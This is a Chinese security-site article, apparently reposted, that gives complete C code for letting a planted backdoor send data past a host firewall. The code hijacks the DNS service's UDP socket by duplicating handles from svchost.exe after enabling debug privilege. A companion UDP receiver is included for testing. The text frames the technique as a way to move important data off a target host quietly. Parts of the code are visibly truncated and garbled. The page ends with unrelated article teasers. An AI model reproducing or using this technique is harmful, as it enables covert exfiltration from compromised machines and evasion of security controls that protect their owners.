一种新的穿透防火墙的数据传输技术

使用该技术背景: 在目标主机安放后门,需要将数据传输出去,同时数据很重要,动作不能太大。其他情况“严重”不推荐使用该技术(后面我会讲到为什么)。 针对目前防火墙的一些情况,如果自己的进程开一个端口(甚至是新建套接字)
肯定被拦。相反,有一点我们也很清楚:被防火墙验证的进程在传送数据时永远不会被拦。
所以,我的思路很简单:将其他进程中允许数据传输的套接字句柄拿为已用。 过程如下: 1. 找出目标进程2. 找出SOCKET句柄2. 用DuplicateHandle()函数将其SOCKET转换为能被自己使用3. 用转换后的SOCKET进行数据传输上面的过程写的很简单,
但是实际实现起来还是存在一些问题(后面再做讨论),而且从上面的实现方法也可以看出一些不爽的地方:在目标进程的SOCKET不能是TCP,因为TCP的句柄已经跟外面建立了连接,所以只能是UDP。针对不同系统不同进程我们很难定位一个
稳定的进程SOCKET。 看到上面这些,你有点丧气了对不对,哈哈。 再想一想,
其实我们有一条真正的通罗马的“黄金大道”。 我们知道只要一台计算机连上了网络,
那么有一种数据传输是肯定不会被拦截的,那就是DNS。你能想像域名解
析数据都被拦了造成的结果吗? 嘿嘿, 既然这个是永远不会被拦的, 而且它又是UDP传输, 我们就拿他开刀。 下面是通过直接控制DNS进程(其实也就是svchost.exe,
不过对应用户名是NETWORK SERVICE)进行数据传输的例子。编程中出现了很多问题,比方说
获取svchost对应用户名时没有权限(但是能够操作LOCAL SERVICE),在句柄值为0x2c时进行getsockname时会停止运行等等。具体解决方法请细看注释部分。 CODE:/*++Made By ZwelL[email]zwell@sohu.com[/email]2005.4.12--*/#include #include #include #pragma comment(lib, "ws2_32")#pragma comment(lib, "wtsapi32")#define NT_SUCCESS(status) ((NTSTATUS)(status)>=0)#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)typedef LONG NTSTATUS;typedef struct _SYSTEM_HANDLE_INFORMATION{ ULONG ProcessId; UCHAR ObjectTypeNumber; UCHAR Flags; USHORT Handle; PVOID Object; ACCESS_MASK GrantedAccess;} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;typedef ULONG (WINAPI *ZWQUERYSYSTEMINFORMATION)(ULONG, PVOID, ULONG, PULONG);ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation = NULL;BOOL LocateNtdllEntry ( void ){ BOOL ret = FALSE; char NTDLL_DLL[] = "ntdll.dll"; HMODULE ntdll_dll = NULL; if ( ( ntdll_dll = GetModuleHandle( NTDLL_DLL ) ) == NULL ) { printf( "GetModuleHandle() failed"); return( FALSE ); } if ( !( ZwQuerySystemInformation = ( ZWQUERYSYSTEMINFORMATION )GetProcAddress( ntdll_dll, "ZwQuerySystemInformation" ) ) ) { goto LocateNtdllEntry_exit; } ret = TRUE;LocateNtdllEntry_exit: if ( FALSE == ret ) { printf( "GetProcAddress() failed"); } ntdll_dll = NULL; return( ret );}/*++This routine is used to get a process's username from it's SID--*/BOOL GetUserNameFromSid(PSID pUserSid, char *szUserName){ // sanity checks and default value if (pUserSid == NULL) return false; strcpy(szUserName, "?"); SID_NAME_USE snu; TCHAR szUser[_MAX_PATH]; DWORD chUser = _MAX_PATH; PDWORD pcchUser = &chUser; TCHAR szDomain[_MAX_PATH]; DWORD chDomain = _MAX_PATH; PDWORD pcchDomain = &chDomain; // Retrieve user name and domain name based on user's SID. if ( ::LookupAccountSid( NULL, pUserSid, szUser, pcchUser, szDomain, pcchDomain, &snu ) ) { wsprintf(szUserName, "%s", szUser); } else { return false; } return true;} /*++This routine is used to get the DNS process's IdHere, I use WTSEnumerateProcesses to get process user Sid, and then get the process user name. Beacause as it's a "NETWORK SERVICE", we cann't use OpenProcessToken to catch the DNS process's token information,even if we has the privilege in catching the SYSTEM's.--*/DWORD GetDNSProcessId(){ PWTS_PROCESS_INFO pProcessInfo = NULL; DWORD ProcessCount = 0; char szUserName[255]; DWORD Id = -1; if (WTSEnumerateProcesses(WTS_CURRENT_SERVER_HANDLE, 0, 1, &pProcessInfo, &ProcessCount)) { // dump each process description for (DWORD CurrentProcess = 0; CurrentProcess < ProcessCount; CurrentProcess++) { if( strcmp(pProcessInfo[CurrentProcess].pProcessName, "svchost.exe") == 0 ) { GetUserNameFromSid(pProcessInfo[CurrentProcess].pUserSid, szUserName); if( strcmp(szUserName, "NETWORK SERVICE") == 0) { Id = pProcessInfo[CurrentProcess].ProcessId; break; } } } WTSFreeMemory(pProcessInfo); } return Id;}/*++This doesn't work as we know, sign...but you can use the routine for other useing...--*//*BOOL GetProcessUserFromId(char *szAccountName, DWORD PID){ HANDLE hProcess = NULL, hAccessToken = NULL; TCHAR InfoBuffer[1000], szDomainName[200]; PTOKEN_USER pTokenUser = (PTOKEN_USER)InfoBuffer; DWORD dwInfoBufferSize,dwAccountSize = 200, dwDomainSize = 200; SID_NAME_USE snu; hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, PID); if(hProcess == NULL) { printf("OpenProcess wrong"); CloseHandle(hProcess); return false; } if(0 == OpenProcessToken(hProcess,TOKEN_QUERY,&hAccessToken)) { printf("OpenProcessToken wrong:%08x", GetLastError()); return false; } GetTokenInformation(hAccessToken,TokenUser,InfoBuffer, 1000, &dwInfoBufferSize); LookupAccountSid(NULL, pTokenUser->User.Sid, szAccountName, &dwAccountSize,szDomainName, &dwDomainSize, &snu); if(hProcess) CloseHandle(hProcess); if(hAccessToken) CloseHandle(hAccessToken); return true;}*//*++Now, it is the most important stuff... ^_^--*/SOCKET GetSocketFromId (DWORD PID){ NTSTATUS status; PVOID buf = NULL; ULONG size = 1; ULONG NumOfHandle = 0; ULONG i; PSYSTEM_HANDLE_INFORMATION h_info = NULL; HANDLE sock = NULL; DWORD n; buf=malloc(0x1000); if(buf == NULL) { printf("malloc wrong\n"); return NULL; } status = ZwQuerySystemInformation( 0x10, buf, 0x1000, &n ); if(STATUS_INFO_LENGTH_MISMATCH == status) { free(buf); buf=malloc(n); if(buf == NULL) { printf("malloc wrong\n"); return NULL; } status = ZwQuerySystemInformation( 0x10, buf, n, NULL); } else { printf("ZwQuerySystemInformation wrong\n"); return NULL; } NumOfHandle = *(ULONG*)buf; h_info = ( PSYSTEM_HANDLE_INFORMATION )((ULONG)buf+4); for(i = 0; i0) // if port > 0, then we can use it break; } } catch(...) { continue; } } if ( buf != NULL ) { free( buf ); } return (SOCKET)sock;}/*++This is not required...--*/BOOL EnablePrivilege (PCSTR name){ HANDLE hToken; BOOL rv; TOKEN_PRIVILEGES priv = { 1, {0, 0, SE_PRIVILEGE_ENABLED} }; LookupPrivilegeValue ( 0, name, &priv.Privileges[0].Luid ); priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; OpenProcessToken( GetCurrentProcess (), TOKEN_ADJUST_PRIVILEGES, &hToken ); AdjustTokenPrivileges ( hToken, FALSE, &priv, sizeof priv, 0, 0 ); rv = GetLastError () == ERROR_SUCCESS; CloseHandle (hToken); return rv;}void main() { WSADATA wsaData; char testbuf[255]; SOCKET sock; sockaddr_in RecvAddr; int iResult = WSAStartup(MAKEWORD(2,2), &wsaData); if (iResult != NO_ERROR) printf("Error at WSAStartup()\n"); if(!LocateNtdllEntry()) return; if(!EnablePrivilege (SE_DEBUG_NAME)) { printf("EnablePrivilege wrong\n"); return; } sock = GetSocketFromId(GetDNSProcessId()); if( sock==NULL) { printf("GetSocketFromId wrong\n"); return; } //Change there value... RecvAddr.sin_family = AF_INET; RecvAddr.sin_port = htons(5555); RecvAddr.sin_addr.s_addr = inet_addr("127.0.0.1"); if(SOCKET_ERROR == sendto(sock, "test", 5, 0, (SOCKADDR *) &RecvAddr, sizeof(RecvAddr))) { printf("sendto wrong:%d\n", WSAGetLastError()); } else { printf("send ok... Have fun, right? ^_^\n"); } getchar(); //WSACleanup(); return;}[Copy to clipboard]很早以前我就有这个想法了,只是一直没有去实现。在上面的代码中,因为要找出DNS进程句柄,而svchost.exe又有多个,所以以用户名来进行判断,本来是用OpenProcessToken,但是怎么也不行。所以换个方法,用到了wtsapi32库函数。 再用下面的代码测试: CODE:/*++UdpReceiver--*/#include #include "winsock2.h"#pragma comment(lib, "ws2_32")void main() {WSADATA wsaData;SOCKET RecvSocket;sockaddr_in RecvAddr;int Port = 5555;char RecvBuf[1024];int BufLen = 1024;sockaddr_in SenderAddr;int SenderAddrSize = sizeof(SenderAddr);//-----------------------------------------------// Initialize WinsockWSAStartup(MAKEWORD(2,2), &wsaData);//-----------------------------------------------// Create a receiver socket to receive datagramsRecvSocket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);//-----------------------------------------------// Bind the socket to any address and the specified port.RecvAddr.sin_family = AF_INET;RecvAddr.sin_port = htons(Port);RecvAddr.sin_addr.s_addr = htonl(INADDR_ANY);bind(RecvSocket, (SOCKADDR *) &RecvAddr, sizeof(RecvAddr));//-----------------------------------------------// Call the recvfrom function to receive datagrams// on the bound socket.printf("Receiving datagrams...\n");while(1){ recvfrom(RecvSocket, RecvBuf, BufLen, 0, (SOCKADDR *)&SenderAddr, &SenderAddrSize); printf("%s\n", RecvBuf);}//-----------------------------------------------// Close the socket when finished receiving datagramsprintf("Finished receiving. Closing socket.\n");closesocket(RecvSocket);//-----------------------------------------------// Clean up and exit.printf("Exiting.\n");WSACleanup();return;}[Copy to clipboard]测试步骤: 1. 在一台机器上执行UdpReceiver。 2. 在安装防火墙的机器上执行第一个程序。 责任编辑 赵毅 zhaoyi#51cto.com TEL:(010)68476636-8001 给力(0票)动心(0票)废话(0票)专业(0票)标题党(0票)路过(0票) 原文:一种
新的穿透防火墙的数据传输技术 返回网络安全首页

时间: 2024-10-25 22:35:28

一种新的穿透防火墙的数据传输技术的相关文章

穿透防火墙的数据传输方法

通常,在我们为目标主机安放好了后门需要将数据传输出去时,主机上的防火墙都会让我们遇到一些不大不小的麻烦.如果为我们自己的进程开一个端口(甚至是新建套接字),那么大部分的防火墙都会将其拦截.有什么方法能"穿透"这些防火墙呢? 下面我为您介绍一种"洞穿"防火墙小规模传输重要数据的方法.不过,不推荐您在其它情况下使用该方法. 其实我的思路很简单,既然防火墙会拦截未验证进程而放行已验证进程的数据传输,那我们就将其它进程中允许数据传输的套接字句柄拿为已用.具体过程如下: 1.

UDP Hole Puching技术:穿透防火墙建立UDP连接

在防火墙上钻孔[UDP Hole Puching]:穿透防火墙建立UDP连接 知道现在流行的P2P软件和IM软件是如何让两台分处在不同防火墙后面的电脑直接对话的吗?SIP当然是一种,还有一种被广泛应用的就是本文介绍的UDP Hole Puching技术. 为了便于讲述,我们假设有这样一个网络拓扑结构: IP=A.A.A.A IP=1.1.1.1 HostA----------FirewallA---------| | Server IP=S.S.S.S | HostB----------Fire

《部署IPv6网络(修订版)》一第1章 IPv6框架——一种新视角1.1 单 播 连 接

第1章 IPv6框架--一种新视角 部署IPv6网络(修订版) 人们不仅可以接受而且几乎是期盼出现这样一本IPv6的书,它能够凭借IPv6的重要性和益处而说服读者(经常很难).描述商业模型的无数书页已经写出,商业模型将从财务角度证明部署IPv6的可行性.尽管人们在兜售IPv6时声称其具有创新性,但更多的是人们对它仍有争议,这使得人们在规划网络相关的资金支出时,需要采取一定的策略方法.但是,不考虑所有这些努力,也许仅仅是IPv4地址空间的加速耗尽就将触发大规模的现有网络升级到IPv6. 作者们决定

Ajax: Web应用开发的一种新方法

ajax|web   原文:  http://www.neokeen.com/mornlee/2005/02/21/1108998494781.html Ajax是什么 异步JavaScript + XML(Asynchronous JavaScript + XML)的缩写.Ajax不是某种新技术,只是几种技术的集成创新的一种新方法.其技术组成有:基于标准的表示技术: XHTML , CSS动态显示和交互技术:Document Object Model(文件对象模型)数据互换和操作技术: XML

一种新的电子商务模式诞生:O2O

文章描述:电子商务下一座金矿:O2O. B2C.C2C这些概念相信大家已经不陌生了,从1999年到现在我们已经看到,电子商务已经改变了大众的生活方式. 说到大众的生活,作为C端,更多的是在网上购买商品,然后B端或者店主把商品塞到箱子里,通过物流公司送到消费者面前. 这种电子商务的模式经历了12年的变迁使得市场不断的细分:从综合型商城(淘宝为代表)到百货商店(当当.卓越)再到垂直领域(红孩子.七彩谷)接着进入轻型品牌店(PPG.凡客),用户的选择越来越趋于个性化,不再是一家独大的局面.在苏宁.国美

Office 2013中加入Strict Open XML和ODF 1.2两种新格式支持

微软宣布即将到来的Office 2013中Word将支持打开和编辑PDF之后,今天在Office官方博客上再次宣布将支持Strict Open XML和ODF 1.2两种新的文件格式.在Office 2010中已经支持Strict Open XML的打开和阅读之后,Office 2013首次支持写入功能. 新的Office 2013中也支持Open Document Format (ODF) 1.2,尽管在Office 2007 SP2中就已经被支持1.2标准,但是直到今年1月份才正式通过dva

POWER7面世:用最新技术和四种新服务器增强系统

二月,IBM 发布了 POWER7 技术和基于它的最新服务器.IBM 按固定的周期发布 POWER 版本,大约每三年发布下一代技术.市场预期 POWER7 会在 2010 年发布,但是在第一季度就发布了,这让许多人感到吃惊. IBM Power Systems 市场营销主管 Jeff Howard 说,"我们发展 Power 技术已经 20 年了.我们一直按明确的周期发布新一代 Power 技术,客户可以估计出我们发布新技术的大致时间.POWER7 的发布符合这一周期,但是实际上这次发布提前了一

向日葵远程控制软件能轻松穿透防火墙

3G时代的到来为智能手机的发展提供的广阔的空间,iPhone 4s的主频已达到1GHz,堪比一台"小型电脑",手机上的应用则越来越牛人性化.功能化.出差不想带笔记本,用iPhone就能远程控制操作公司里的电脑,实现远程移动办公. 目前,市面上的远程控制软件很多,但因网络迅速发展而带来的资源短缺,使得原来的公网IP已不再分配,pcAnywhere.windows自带的远程桌面等远程控制功能更多的实用于内网或局域网.然而,内网和局域网条件下,实现远程控制通常需要做端口映射,大大增加了远程办

如何用gcc后端生成一种新的虚拟机命令

问题描述 如何用gcc后端生成一种新的虚拟机命令 请问高手们如何运用gcc后端生成一种特定的虚拟机命令码.比如说,修改gcc后端的哪些部分后就可以生成JVM的命令?我想通过修改gcc或者LLVM后端做一个虚拟机,可是具体怎么做还没有商量好.我也是最近刚开始接触编译器的,基础不是特别好.看gcc和LLVM的文档也是云里雾里的,高手们可不可以给一些建议,比如像gcc的话,我正在看gcc internals,有关用gcc后端生成一种特定的虚拟机命令码,看哪些章节比较好.